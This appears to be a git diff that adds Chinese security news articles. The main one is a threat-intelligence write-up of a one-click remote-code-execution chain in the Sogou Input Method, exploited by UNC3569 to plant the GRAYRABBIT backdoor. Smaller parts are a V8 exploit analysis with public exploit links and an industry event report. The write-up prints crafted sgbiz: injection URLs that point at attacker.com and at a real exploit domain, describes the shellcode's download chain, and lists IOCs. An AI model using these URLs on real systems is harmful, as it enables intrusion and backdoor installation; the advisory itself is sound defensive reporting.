与本文主角是同一周修补的两个 V8 缺陷，类型不同：前者是类型混淆，走的是 sort() + 期间的打包对象与整数数组混淆；后者是越界写，走的是异常解包期间的内置函数重入。两者的修补时间相差五天。 + +公开 exploit 把两者串成一条链，用前者取得 V8 cage 内的读写原语，再用后者取得对已编译 wasm 代码的改写能力。这说明在野利用与公开 exploit 采用了相近的组合思路。**但这一相似不构成两个缺陷同源的证据** +，官方未披露在野利用的技术细节，公开仓库的自述也只说明了自己的构造方式。把"公开 exploit 这么串"读成"在野攻击也这么串"，是这一步常见的过度推断。 +### 5.4 未随补丁一起公开的部分 + +补丁能读出根因，读不出在野利用的样子。Google 在公告里只确认了"存在利用"这件事，没有说明投递方式、攻击目标、使用者身份，也没有给出任何可用于检测的产物。Chromium 的缺陷条目 543557673 在本文写作时仍处于受限状态，访问不到修复前的讨论与复现步骤。 + +CISA 的 KEV 条目提供了两个字段：knownRansomwareCampaignUse + 为 Unknown +，forensicTriage + 为 No +。前者表示尚无与勒索活动关联的公开记录，后者表示本次收录没有附加强制取证要求。**这两个字段描述的是公开信息的状态，不是威胁本身的状态。** + 把 Unknown + 读成"确认与勒索无关"，属于典型的越界解读。 + +判断在野利用长什么样，还有一个容易走偏的地方。公开 exploit 有两条，都创建于补丁发布之后，都给出了自己的构造路径。它们的价值是证明这条链在技术上可行，但**公开仓库的存在不能反推在野利用采用了同一套构造** +。两者可能共享同一处根因，也可能在触发方式上完全不同，而后者恰恰是公开信息无法回答的部分。 +## 六、结束语 + +这个案例值得记住的地方，不在漏洞本身有多复杂，而在它暴露的判定失误形态。一个"不调用 getter"的契约被写进了注释，实现里却保留着一条能调用 getter 的分支，编译器一侧则用"从这个调用方到不了那里"把矛盾放行。三层代码，三处都在陈述同一件事应当如何，没有一处去验证它是否如此。 + +从 8 月 6 日报告到 9 月 8 日修复，33 天。Chromium 上游先修，下游各自回填，Edge 在 9 月 4 日就拿到了修复，比 Chrome 自己早四天。渠道差异在这次具体地体现为四天攻击窗口，而 KEV 的十四条摘要按 Chrome 口径书写。**补丁进入代码库的时间与用户受保护的时间是两件事，中间隔着的差距需要按产品分别核算。** + +公开 exploit 在修复发布两天后出现，第一个仓库创建于 9 月 10 日，第二个在 9 月 12 日，都给出了完整的链条自述。而 Google 公告里那句"缺陷详情与链接会保持受限，直到大部分用户完成更新"在同一周内被外部现实绕过。这说明对于位于渲染进程内的内存安全缺陷，官方限制发布信息的做法只能延迟细节扩散，不能阻止有能力的研究者从补丁本身反推。 + +唯有把内置函数的副作用契约当作必须验证的实现约束而非注释里的声明，把下游分支的修复时点当作影响范围的一部分而不仅是版本号列表，把"更新已下载"与"补丁已生效"分开核算，才能让这类缺陷在下一个五天的间隔里不再重复同一种失误。 +## 七、参考 + +**官方公告与记录** +- Chrome 稳定版更新公告（含 230 项修复清单与 87491 条目），Google，https://chromereleases.googleblog.com/2026/09/stable-channel-update-for-desktop_0808145027.html + +- Chrome 稳定版更新公告（CVE-2026-85046 所在批次），Google，https://chromereleases.googleblog.com/2026/09/stable-channel-update-for-desktop_01882797386.html + +- CVE-2026-87491 官方记录（Chrome CNA，含 CISA-ADP 富化），https://cveawg.mitre.org/api/cve/CVE-2026-87491 + +- CVE-2026-85046 官方记录，https://cveawg.mitre.org/api/cve/CVE-2026-85046 + +- CISA 已知被利用漏洞目录条目（收录日 2026-09-09，截止日 2026-09-23），https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json + +- Microsoft Edge 安全更新发布说明（含 9 月 4 日 152.0.4191.66 条目），Microsoft，https://learn.microsoft.com/en-us/deployedge/microsoft-edge-relnotes-security + +- Chromium 缺陷条目（写作时仍受限），编号 543557673，https://issues.chromium.org/issues/543557673 + +**补丁与源码** +- 修复提交 [wasm][sandbox] Fix side effects of WasmGetOwnProperty builtin +，Jakob Kummerow，变更标识 Ifa3c166e54f2084524c562ba2f57d55e0a51bff6 +，评审地址 https://chromium-review.googlesource.com/c/v8/v8/+/8234942 + +- 修复后实现，https://raw.githubusercontent.com/v8/v8/main/src/builtins/builtins-wasm-gen.cc +（WasmGetOwnProperty + 定义及其上方契约注释） + +- 修复后描述符，https://raw.githubusercontent.com/v8/v8/main/src/compiler/turboshaft/builtin-call-descriptors.h + +- 异常对象实现，https://raw.githubusercontent.com/v8/v8/main/src/wasm/wasm-objects.cc +（WasmExceptionPackage + 相关方法） + +**公开 exploit 与分析** +- 原文，《0-Day Alert: Chrome v8 RCE》，Zero Day Engineering，2026-09-15，https://intelligence.zerodayengineering.com/0-day-alert-cve-2026-87491/ + +- 同站前一编号快讯，《0-Day Alert: Chrome v8 RCE》，2026-09-08，https://intelligence.zerodayengineering.com/0-day-alert-cve-2026-85046/ + +- 公开 exploit 仓库一，SneakyNachos，2026-09-10 创建，https://github.com/SneakyNachos/CVE-2026-87491-and-CVE-2026-85046-the-bagel-fell-off-the-counter + +- 公开 exploit 仓库二，SneakyNachos，2026-09-12 创建，https://github.com/SneakyNachos/CVE-2026-87575-CVE-2026-87606-CVE-2026-87491-and-CVE-2026-85046.-Escape-the-v8-carcass. + + + +**END** + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/zNsFJyIuL0Eibm4su1w5okHicia8FsR6VtBRqcibawuFwxIpcUBV2Lb90sGvQTCAtialQHEOc0piabkEND54DpI5lnCu07fAFNzaoUgMaMSYaXOIM/640?wx_fmt=jpeg&from=appmsg "") + + +公众号内容都来自国外等平台- 搜索的内容通过结合编写 -  + + 提供整洁 - 广告已关 + +公众号 |  +AnQuan7 (Ots安全) + diff --git a/doc/2026-09/别乱点！你电脑里的搜狗输入法曾曝“点一下链接就中招”漏洞.md b/doc/2026-09/别乱点！你电脑里的搜狗输入法曾曝“点一下链接就中招”漏洞.md new file mode 100644 index 00000000..9f0d0b7e --- /dev/null +++ b/doc/2026-09/别乱点！你电脑里的搜狗输入法曾曝“点一下链接就中招”漏洞.md @@ -0,0 +1,128 @@ +# 别乱点！你电脑里的搜狗输入法曾曝“点一下链接就中招”漏洞 +原创 404号浪漫 + 404号浪漫 404号浪漫 2026-09-16 05:06 + +## 0x01 核心速览 + +
【事件】
【事件】

Gen Threat Labs 发现 Sogou Input Method 中存在一个关键远程代码执行漏洞 CVE-2026-51990。该漏洞将 sgbiz: 自定义协议处理器中的未校验命令行参数注入、基于 CEF 的 webview 无限制 URL 导航，以及严重过时且无沙箱的 Chromium 浏览器引擎串联为单次点击利用。

Sogou Input Method 是 Windows 上广泛使用的中文输入法之一，安装量达数亿。该漏洞已被 UNC3569 威胁组织在野利用，通过构造链接部署 GRAYRABBIT 后门。腾讯已修复该漏洞。

+注意：经确认 +搜狗五笔输入法不受影响 + +0x02  +正文解读 + +2.1- +事件发现与确认 + +Gen Threat Labs 在例行调查一次  +UNC3569 + 入侵时，将初始访问来源追溯到  +Sogou Input Method + 的进程链。该发现最终导向一个关键远程代码执行漏洞，攻击者只需诱使用户点击一个构造链接，即可在运行该软件的机器上静默打开后门。该团队将漏洞报告给 Tencent，后者在后续更新中修复，漏洞被分配为  +CVE-2026-51990。 +### 2.2-攻击面：sgbiz: 协议与 biz_helper.exe + +Sogou Input Method 由多个组件构成，并通过 Windows 上注册的自定义协议方案 sgbiz: 通信。当用户、网页或任意应用打开 sgbiz: URL 时，Windows 将其交给协议处理器 biz_helper.exe。该二进制解析 URL，并将请求分发到相应 Sogou 组件。典型 URL 形如： +sgbiz:sg_process?module=sgmyinput.exe¶m=-page=skincenter +其中，URL 路径告诉 biz_helper.exe 使用哪个处理器，查询参数提供要启动的可执行文件、参数、工作目录等信息。 +### 2.3-漏洞一：biz_helper.exe 中未校验的参数注入 + +当biz_helper.exe 收到带 sg_process 命令的 sgbiz: URL 时，会提取五个参数：module、param、work_dir、start_mode、start_show。module 参数会接受较严格的安全检查：扫描禁止字符 +（\ / : * ? " < > |） +以阻止路径遍历，执行 MAX_PATH 长度限制，将名称解析到 Sogou 安装目录，并调用 GetFileAttributesW 确认目标文件存在且不是目录。但 param 参数没有获得任何校验。它从 URL 提取后仅经过一次 URL 解码（mbdup 函数），随后被直接、未经修改地作为命令行参数传给 module 指向的可执行文件。没有清理、没有允许列表、没有过滤。这意味着攻击者可以向任何可通过 sg_process 处理器启动的 Sogou 可执行文件注入任意命令行参数。 + +![Figure 2. IDA snippet for the path traversal and file checks](https://mmbiz.qpic.cn/sz_mmbiz_jpg/eefCd8vibaic3QpE8QgfnumJFUUGCXKgodiciciaiadNOJJGAtyrSVr2ibw7gZAcJUbTgEwnJ05rfndKtrqNXTCNz7oBvyf9NmlBYtZcTS3b2RdpK8/640?wx_fmt=jpeg&from=appmsg "") +### 2.4-漏洞二：SGMyInput.exe 中无限制 URL 导航 + +攻击者构造的URL以SGMyInput.exe为目标，并传入参数，例如： +``` +sgbiz:sg_process?module=sgmyinput.exe¶m=  +-page%3Dskincenter%20-url%3Dhttps%253A%252F%252Fattacker.com%252Fexploit.html +``` + +URL 解码后，param 值变为： +``` +-page=skincenter -url=https://attacker.com/exploit.html +``` + +-page 参数决定 SGMyInput.exe 初始化哪个 UI 模块。多数页面类型会创建原生 Win32 配置对话框，但 skincenter 页面不同：它是皮肤市场，会创建 CEF webview 显示皮肤商店，是 SGMyInput.exe 中唯一实例化浏览器的代码路径。当 webview 就绪后，SkinCenterWebViewEvent::OnWebViewIsReady 会检查是否通过 -url 命令行参数提供了自定义 URL。如果存在，函数会复制该 URL 并让浏览器直接导航。这里没有 scheme 检查，http、https、file、data、javascript 均可接受；没有域名允许列表，也没有任何验证。攻击者控制的 URL 因此从 biz_helper.exe 流经 SGMyInput.exe，进入 CEF 浏览器并导航到任意位置。 + +![Figure 5. IDA snippet for the missing checks on the custom URL, showcasing direct navigation](https://mmbiz.qpic.cn/sz_mmbiz_jpg/eefCd8vibaic2ezRy918lhoj7dJBfDKUNNMQlFFsicgKreeDQ2RicOHtsYqE3tdHE0aLByfq6DwMSmI5re3iarE8obK0AibcvgdmmDiazZib5iapZOzw/640?wx_fmt=jpeg&from=appmsg "") + + +### 2.5-漏洞三：2020 年版 CEF，且无沙箱运行 + + +Sogou Input Method 的嵌入式浏览器由 CEF 提供，实际渲染在独立进程 SGWebRender.exe 中进行。SGWebRender.exe 是薄启动器，其 WinMain 构造 SGMiniBrowserHelperHost1.0.0.8.dll 路径，通过 LoadLibraryExW 加载，并解析 GetBrowserManagerInstance 导出。该函数返回浏览器管理器单例，其 Run 方法在 DLL 内触发 CEF 初始化。 + +![Figure 6. IDA snippet showcasing the load and call into SGMiniBrowserHelperHost1.0.0.8.dll](https://mmbiz.qpic.cn/mmbiz_jpg/eefCd8vibaic0u0dYHbNyoLiaOicialqfUowmU0Kt7QhtR28ykWibOKRX3420bf9TZUa3BcO2ULZYZZEFmUgyuLZzKQGBNIE2Q13aexicibFslD1KjE/640?wx_fmt=jpeg&from=appmsg "") + +该 DLL 捆绑的 libcef.dll 标识为 CEF 80.1.16，Chromium 80.0.3987.163，时间约为 2020 年 3 月，比分析时当前 Chromium 稳定版落后约 60 个主要版本。更严重的是，PopulateCefSettings 函数在 CefSettings 结构中显式设置 no_sandbox 为 TRUE，完全禁用 Chromium 沙箱。ConfigureCefCommandLineSwitches 回调还追加了一系列进一步削弱保护的开关：disable-web-security、allow-file-access-from-files、disable-gpu-shader-disk-cache、enable-direct-write、disable-spell-checking。 + +其中 disable-web-security 和 allow-file-access-from-files 由 CefApp 对象中的 bDisableWebSecurity 字段控制，但 SGWebRender.exe 初始化浏览器管理器时将该标志硬编码为 1。它不是运行时开关或配置选项，而是始终开启。disable-web-security 尤其危险：即使没有完整浏览器漏洞，禁用同源策略也意味着该 webview 中加载的任意页面都可以向内部网络服务发起已认证请求、读取响应并外泄数据。结合无沙箱环境，利用条件被显著降低。 + +### 2.6-完整攻击链 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/eefCd8vibaic1NRTPQlPJlXrwj26NsLfXcaNrk091MiaIKZ9MjOxrp5l8YUibxhaWp4tcrw5ibNEicw1vJQAPYiaCQyibodcxXjxOX50FThm873YE0w/640?wx_fmt=png&from=appmsg "") + +### 2.7-在野利用：UNC3569 与 GRAYRABBIT后门 + + +UNC3569 + 是 Google Threat Intelligence 记录的 PRC-nexus 威胁组织，优先追求运营效率，经常利用广泛使用软件中的 n-day 漏洞，并维护包含自定义恶意软件和商业工具的多样化工具集。该组织曾针对全球政府、教育、技术和金融部门开展网络行动，重点集中在东亚和东南亚。值得注意的是，UNC3569 与 i-SOON 存在潜在业务关系；i-SOON 是一家中国私营承包商公司，其内部通信在 2024 年初被泄露。关于 UNC3569 行动的全面分析，见 Google 研究人员发布的 Virus Bulletin 2024 论文 “Down the GRAYRABBIT Hole: Exposing UNC3569 and Its Modus Operandi”。 + +在观察到的活动中，攻击者向受害者投递了以下 URL： +``` +sgbiz:sg_process?module=sgmyinput.exe¶m=-page%3Dskincenter%20-url%3Dhttps%253A%252F%252Fnoht1ng.top%252Ffuckujjbangx.html +``` + +noht1ng[.]top 上的利用页面提供了针对 CVE-2021-38003 的 JavaScript 利用。该漏洞是 JSON.stringify 中的 V8 类型混淆漏洞，影响 Chrome 95.0.4638.69 之前的版本。Sogou 捆绑的 Chromium 版本为 80，因此该 CVE 以及此后 60 多个主要版本间的数十个其他漏洞均可生效。 + +### 2.8-载荷：下载、侧加载与反沙箱 + + +利用包含嵌入的 x64 位置无关 shellcode（921 字节），作为下载器。Shellcode 使用经典 call/pop 技术定位自身基址，遍历 PEB 的 InLoadOrderModuleList，通过匹配模块名的 ROR8 哈希定位 kernel32.dll；通过导出名哈希解析 LoadLibraryW，加载 Urlmon.dll，并解析 URLDownloadToFileA。 + +Shellcode 从位于 8.218.50[.]207（Alibaba Cloud，Hong Kong）的暂存服务器获取三个文件： + +![](https://mmbiz.qpic.cn/mmbiz_png/eefCd8vibaic0ibwiaPGIq7CrkKuXqaIuDIvjNFeVB7xJUtLUv9wlxAfCKKLjcibP5nNTt6Im23L7akfTXNb0ljChqK2iaMiaictCfSjkibkJvbXjsOI/640?wx_fmt=png&from=appmsg "") + + +### 2.9-GRAYRABBIT 后门与 C2 + + +加密载荷是两阶段包：0xC7 字节位置无关 shellcode 桩 + 单字节 XOR 加密的 GRAYRABBIT PE（0x42800 字节）。这种“短解密器桩 + 单字节 XOR PE + 调用 CoreClientInstall”的格式，是 Google Threat Intelligence 自至少 2021 年以来记录的 UNC3569 标准 GRAYRABBIT 投递格式。 +``` +桩通过 call/pop 定位基址，加 0xBF 找到加密数据起点（文件偏移 0xC7），用密钥 0x33 XOR 解密 PE；随后用 RVA 到文件偏移转换遍历导出目录，按序号定位第一个导出 CoreClientInstall，并以解密 PE 基址调用。 +解密后的 PE 是 GRAYRABBIT x64 变体：UNC3569 多年用作一阶段植入的轻量级 C++ 后门，内部模块名 core.dll，导出 CoreClientInstall（反射加载入口）和 CoreClientStart（主 RAT 循环）。这些导出名、C2 协议和 beacon 格式是 GRAYRABBIT 的定义标识；x64 变体是 x86 版的成熟化，差异包括字节操作编码 C2 域名和扩展命令集。 +``` +### + + +## 0x03 动作指引 +### 3.1-更新与补丁 + +建议所有  +Sogou Input Method + 用户尽快更新到最新版本。Tencent 已通过自动更新部署修复，版本为  +16.3.0.3498 +。该修复阻止了通过外部协议处理器传入攻击者控制 URL 的已观察利用路径 +。 + +遗留风险： +补丁未改动 CEF 配置与 libcef 版本：SGWebRender.exe 和 SGMiniBrowserHelperHost DLL 中 no_sandbox 仍为 1，bDisableWebSecurity 仍为 1，disable-web-security 等不安全标志仍被追加，浏览器仍无沙箱、安全控制被剥离。仅因 biz_helper.exe 新增输入验证，攻击者控制的 URL 不再能通过外部协议处理器到达该组件。 +### 3.2-IOC 附录 + +文件哈希（SHA256）： +
文件
SHA256
说明

7zp.dll 

29c7ee41d0cc9e07d981e451df56d0c3d37c41ac4ec10c7b516cc033ee397a63

木马化 DLL 加载器，内部名 boy.dll

p

749160a2f20f82744026719cf72e483595c6aad718efa74d675a98662e02422e 

加密 PE 加载器 shellcode

GRAYRABBIT backdoor

D7a3c7eb94edc0e020f74c678743d71d61e944634aade4a67a96c3589e828b3a 

GRAYRABBIT 后门，内部名 core.dll 

+IOC： +
IOC
说明
mail.uaiubifas[.]top

GRAYRABBIT C2 域名（端口 443，原始 TCP，RC4 加密）

 noht1ng[.]top

利用页面托管域名    

8.218.50[.]207 

暂存服务器（Alibaba Cloud，Hong Kong）

+ +## 0x04 参考链接 + +1. +Gen-Digital原文： +https://www.gendigital.com/blog/insights/research/one-click-backdoor-sogou + + diff --git a/doc/2026-09/基础软硬件智能化漏洞治理生态创新技术交流活动成功举办.md b/doc/2026-09/基础软硬件智能化漏洞治理生态创新技术交流活动成功举办.md new file mode 100644 index 00000000..076fbcaa --- /dev/null +++ b/doc/2026-09/基础软硬件智能化漏洞治理生态创新技术交流活动成功举办.md @@ -0,0 +1,204 @@ +# 基础软硬件智能化漏洞治理生态创新技术交流活动成功举办 + 中国信息安全 2026-09-16 04:40 + +[](https://cisat.cn/all/14915419?navIndex=3) + + + + +2026年9月15日下午，由国家信息安全漏洞库（CNNVD）、中国信息产业商会信息安全产业分会主办，《中国信息安全》杂志社承办的第二届基础软硬件智能化漏洞治理生态创新技术交流活动，在成都成功举办。本次活动以“AI向善·安全有道”为主题，是2026年国家网络安全宣传周成都系列活动和CCS 2026成都网络安全技术交流活动的重要组成部分。来自国家关键信息基础设施单位、网络安全公司、基础软硬件企业、高校科研机构的120余名代表参会。 + + +**01** + +**领导致辞** + + +中国工程院院士黄殿中出席活动并致辞。黄院士指出基础软硬件安全至关重要，需要与时俱进，打造覆盖漏洞挖掘、修复、测评全周期、多场景的漏洞合作治理链条。 +![](https://mmbiz.qpic.cn/mmbiz_jpg/uOZw5Efn8etpzB187qj2WiartsxqsEfjqUYrG28wmVMER4ZiafPpORLP7zZDzFa9sZyYFjiaRbrWJI7STpeE3SHoPibHwibAnyy8KoyYb4cJ2Dd8/640?wx_fmt=jpeg&from=appmsg&watermark=1#imgIndex=3 "") + +黄殿中 + + +中国信息安全测评中心专职副书记吴海燕出席会议并致辞。致辞围绕落实科技自立自强战略，指出基础软硬件漏洞治理意义重大，提出了深化协同漏洞治理、推动智能化发展倡议。 +![](https://mmbiz.qpic.cn/mmbiz_jpg/uOZw5Efn8esia7x5aadu9vOYutAz8ibtqZtXsMa0foIC2TWtFjddXhkCibW9tNibA13mbXH3OiaX7cPzyibgYu9mooK4A1kicRZ3o6bRTXZmdMGssQ/640?wx_fmt=jpeg&from=appmsg&watermark=1#imgIndex=4 "") + +吴 +海燕 + +**02** + +**专家演讲** + + +北京航空航天大学网络空间安全学院副教授白家驹、北京长亭科技有限公司AI安全开发产线总监谭阳、湖南麒麟信安科技股份有限公司安全架构师唐杰、瀚高基础软件股份有限公司安全体系总架构师林焕超、云起无垠联合创始人兼CTO周鹏、海光信息技术股份有限公司技术总监张军、亚信科技（成都）有限公司AI安全资深技术专家宁宇飞等7名专家现场分享了基础软硬件漏洞治理的前沿技术、先进理念和安全实践，围绕大模型与程序分析融合的漏洞挖掘、多智能体协同的漏洞全生命周期治理、数据库安全左移、面向AI智能体的漏洞防御、智能体驱动的二次漏洞发现等热点话题展开讨论，旨在促进我国基础软硬件漏洞资源运筹管控能力和水平的不断提升，推动基础软硬件漏洞治理体系的不断完善、助力基础软硬件产业的稳步发展。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/uOZw5Efn8evgTZolicsaibR6cHZfYZMvOCAFo3ekCAlPoGzibQmMZ43o3FiaKrAJJ2OYUFjO2Ziaql09WLsDpicUmY2XicRvJntKmllzyKgI7UUqRo/640?wx_fmt=jpeg&from=appmsg&watermark=1#imgIndex=5 "") + +白家驹  北京航空航天大学网络空间安全学院副教授 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/uOZw5Efn8etFQpKpkoPpkZU2sRvAkiaT0emL0mibOg6IcZL0sYW1jaycZCQyAnf3btjTExOp3hSKV4B4Izx72SBeRfNCyf9uqnnQqEicIW19Rg/640?wx_fmt=jpeg&from=appmsg&watermark=1#imgIndex=6 "") + +谭阳  北京长亭科技有限公司AI安全开发产线总监 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/uOZw5Efn8esS7MLYxlXu536qe3VYG2GDwfiatsuBibGUib4z7Pe5r8tcic3PfT6ibyCNz58uTwQ4FVBJfRnYnkD6FiaIg3Bg1poQcBIZfESAuOficA/640?wx_fmt=jpeg&from=appmsg&watermark=1#imgIndex=7 "") + +唐杰  湖南麒麟信安科技股份有限公司安全架构师 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/uOZw5Efn8eth1RicHAECSqrJRXmn7JLBvicBHKg4fSWKMwlQzh17nh4kCgV7BibZtLw0txkticZSfsibpnXiaBPwTOtGrVLHgdjCzlAlKePuXzRGY/640?wx_fmt=jpeg&from=appmsg&watermark=1#imgIndex=8 "") + +林焕超  瀚高基础软件股份有限公司安全体系总架构师 + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/uOZw5Efn8evZz8hiaTib5blsqDCt2glIr3FB46iakXyY1tSezDSic4F0hof94Jibkn64Kz2peETHBd93ibialuuQqRaOqb0FSodw1xq20bWYib5z0v8/640?wx_fmt=jpeg&from=appmsg&watermark=1#imgIndex=9 "") + +周鹏  云起无垠联合创始人兼CTO + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/uOZw5Efn8etB9yEtCSxKJyk8NMlW4qIndDwlC6olvb1yZv53h8H38psWjuTsclWBmibCiaiadUWVOukB6w3ViaX21pYCBphRIq3nnSDyuyiaWBTY/640?wx_fmt=jpeg&from=appmsg&watermark=1#imgIndex=10 "") + +张军  海光信息技术股份有限公司技术总监 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/uOZw5Efn8esAPxjSo9qEiaJQLT3GMO2qsDvzKYf3ibicpibLvw3Bc9VRMr4cIUNQm58qz2GZkt5aC40dtELjQAMkgHMXtEJxTZOjA1oHEyMlxTQ/640?wx_fmt=jpeg&from=appmsg&watermark=1#imgIndex=11 "") + +宁宇飞  亚信科技（成都）有限公司AI安全资深技术专家、智能漏洞挖掘技术负责人 + +**03** + +**合作计划发布** + + +活动发布了基础软硬件漏洞“经纬”计划，并举行了发布仪式。“经纬”计划将通过统一的漏洞管理平台对接基础软硬件企业，协同实现漏洞影响实体的对齐匹配，有效降低漏洞检测的漏报误报，编织基础软硬件漏洞治理防护“网”。 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/uOZw5Efn8evnryicDBmzshAm7ozX7KrMyFZkp1e7WStpZKINlcKeH0vmXklp7ib4DjBuDsnzeSuAzMLD0RFGF8VhrKpqRF6nCv3br5Yqwg5bM/640?wx_fmt=jpeg&from=appmsg&watermark=1#imgIndex=12 "") + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/uOZw5Efn8esmJoyWaoBk4FmL3LdVmHESib1VtIyH2OuwqjOBsWNQHDT1GTQ7F0lI5QWzUUvLkyo52q5iamf9G6RvO4IEtwtm4lA0HWbxibjsvw/640?wx_fmt=jpeg&from=appmsg&watermark=1#imgIndex=13 "") + + +**04** + +**颁奖环节** + + +活动为获得“2026年度协同软硬件漏洞管理优秀企业”“2026年度基础软硬件漏洞报送优秀企业”和“2026年度基础软硬件漏洞管理优秀企业”的单位进行了颁奖。 + + +**2026年度基础软硬件漏洞管理优秀企业** + + +- 北京凝思软件股份有限公司 + +- 湖南麒麟信安科技股份有限公司 + +- 统信软件技术有限公司 + +- 麒麟软件有限公司 + +- 武汉达梦数据库股份有限公司 + +- 北京自然原数科技有限公司 + +- 瀚高基础软件股份有限公司 + +- 北京东方金信科技股份有限公司 + +- 深圳计算科学研究院 + +- 中移（苏州）软件技术有限公司 + +- 平头哥（上海）半导体技术有限公司 + +- 龙芯中科技术股份有限公司 + +- 上海兆芯集成电路股份有限公司 + +- 中科方德软件有限公司 + +- 北京万里开源软件有限公司 + +- 平凯星辰（北京）科技有限公司 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/uOZw5Efn8evBMDb0QW8I0c0CkibPpUgoZC9JbvDFibgqP6RU8UYJvWVtuBdkxkaAzA9UvcVKhwicjDxXdFH7LlXuzXe3WTJrDh9yicyo3tLuDzo/640?wx_fmt=jpeg&from=appmsg&watermark=1#imgIndex=14 "") + + + +**2026年度协同软硬件漏洞管理优秀企业** + + +- 中兴通讯股份有限公司 + +- 杭州迪普科技股份有限公司 + +- 新华三技术有限公司 + +- 奇安信网神信息技术（北京）股份有限公司 + +- 超聚变数字技术股份有限公司 + +- 三六零数字安全科技集团有限公司 + +- 浙江大华技术股份有限公司 + +- 深信服科技股份有限公司 + +- 杭州海康威视数字技术股份有限公司 + +- 北京神州绿盟科技有限公司 + +- 北京东方通科技股份有限公司 + +- 北京摄星科技有限公司 + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/uOZw5Efn8eszfC0iaic8fnWtw977Bbq7pwayhf2sKyiaC7bAyN34ic5tGJFhXgkl4ibpYpldsJPgP47BWF7EoicBOhHNWPfFZcLeXic5xJSZfpgBEQ/640?wx_fmt=jpeg&from=appmsg&watermark=1#imgIndex=15 "") + + +**2026年度基础软硬件漏洞报送优秀企业** + + +- 北京长亭科技有限公司 + +- 麒麟软件有限公司 + +- 北京云起无垠科技有限公司 + +- 杭州安恒信息技术股份有限公司 + +- 奇安信网神信息技术（北京）股份有限公司 + +- 远江盛邦安全科技集团股份有限公司 + +- 北京神州绿盟科技有限公司 + +- 湖南泛联新安信息科技有限公司 + +- 湖南匡安网络技术有限公司 + +- 亚信科技（成都）有限公司 + +- 中国电信股份有限公司广东研究院 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/uOZw5Efn8eth7eia35iaVamSXForSWve2WBBD5dDO64e78vPW3nEZLqA6wEPnX9qkibBHiaFgxlvWZKJqaCfUuFHqsqJJq1LLDVqDiaAOBM853MY/640?wx_fmt=jpeg&from=appmsg&watermark=1#imgIndex=16 "") + + +活动期间还召开了“人工智能赋能基础软硬件产业安全治理实施路径研讨”闭门会，围绕人工智能技术与基础软硬件产业安全治理融合发展路径开展深入研讨。 + +**05** + +**结语** + + +本次CCS 2026“第二届基础软硬件智能化漏洞治理生态创新技术交流活动”通过协同多方资源，打破壁垒，在充分运用AI技术助力漏洞研究和资源共享方面取得了一致共识和重要进展，推动政府、行业、企业、高校、科研机构协同高效开展漏洞消控工作。未来国家信息漏洞库将与社会各界紧密协作，以AI技术引领基础软硬件漏洞治理的技术革新、产业升级和人才培育，高质量推进基础软硬件漏洞治理体系建设，为护航网络强国建设作出新的贡献！ + +（来源：CNNVD） + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/LJwWAbW20Ch90C0U9HhePiaDDzrHse2xBydmAsYOkj3g1vHTJECnOV5PmwENG3yNvVJibc15jVAgXMuNfzEd5iaoicqbsoS5dkrIs3LvEU5CIpQ/640?wx_fmt=png&from=appmsg "") + +[](https://cisat.cn/) + diff --git a/doc/2026-09/宇树暴跌！从4400亿到1900亿，制度漏洞还是估值泡沫？.md b/doc/2026-09/宇树暴跌！从4400亿到1900亿，制度漏洞还是估值泡沫？.md new file mode 100644 index 00000000..b5b5bd63 --- /dev/null +++ b/doc/2026-09/宇树暴跌！从4400亿到1900亿，制度漏洞还是估值泡沫？.md @@ -0,0 +1,66 @@ +# 宇树暴跌！从4400亿到1900亿，制度漏洞还是估值泡沫？ +原创 hacking + hacking Hacking黑白红 2026-09-15 15:32 + +9月15日，宇树科技暴跌跌。 + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/TVljsu2eAicJ99FwKeia6hibEqBfia4LZ8B4UxQyhIHJLWicKbNKvfOnA6a492T94El7mibPYwEV8kiccVU7DbCheRVE70RbDP8gVz487YYySH21EY/640?wx_fmt=jpeg "") + + + +行业在比拼场景落地与量产能力，宇树还在用“后空翻”表演赚吆喝。 + + +**** +A股人形机器人第一股宇树科技（688836），正在经历一场惨烈的“估值跳水”。 + + +8月19日，它以1100元开盘，市值冲上4449亿元，风头无两； + + +仅仅一个月后，9月15日股价已在470元附近徘徊，较上市首日最高点跌超55%，总市值缩水至不足2000亿。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/TVljsu2eAicIoNFFeVFxvbN279VJGUqseSNh3lyvhYtia28C7GfIzzXswBHHToEj29RZ9RKfsDBHZtkwxHDuyMLnSEUGZKocXkzGOmb2SatLg/640?wx_fmt=jpeg "") + + + +日K线图上，一根从1100元直插底部的长阴线，刺眼得如同机器人摔落的轨迹。发行价150.80元，如今仍在高位，但追高资金早已血流成河。 + + +**“后空翻”很炫，基本面跟得上吗？** + +**** +行业在比拼场景落地与量产能力，宇树还在用“后空翻”表演赚吆喝。 + + +技术惊艳不等于商业兑现，当概念热度退潮，高估值必然接受拷问。市盈率TTM仍超300倍，故事再好，也要经得起业绩称重。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/TVljsu2eAicLqz25tLI8As7dDZgwsPs14mTf8ICFwsmucFnfmD2wTNzbldBd2fCIKqJrLHrdRO78OhJXR5AUtWj8GvkO0qib38e81BQv7Vkicg/640?wx_fmt=jpeg "") + + + +**制度漏洞？网下配售的“无锁定期”争议** + +**** +更尖锐的质疑指向打新机制：新股暴涨背后，网下配售给机构的约90%股份竟无锁定期，机构上市当天便可兑现大部分利润。 + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/TVljsu2eAicIOiacxKtUEfxiaSwP94B62YiciaiaYj78992ZwMh8EpPRyEY3ozSYVpZIZyHYlsf63mNv2YhcCJYxnn6yDt4PMgicFWrYmgl2rMQN9s/640?wx_fmt=jpeg "") + + + 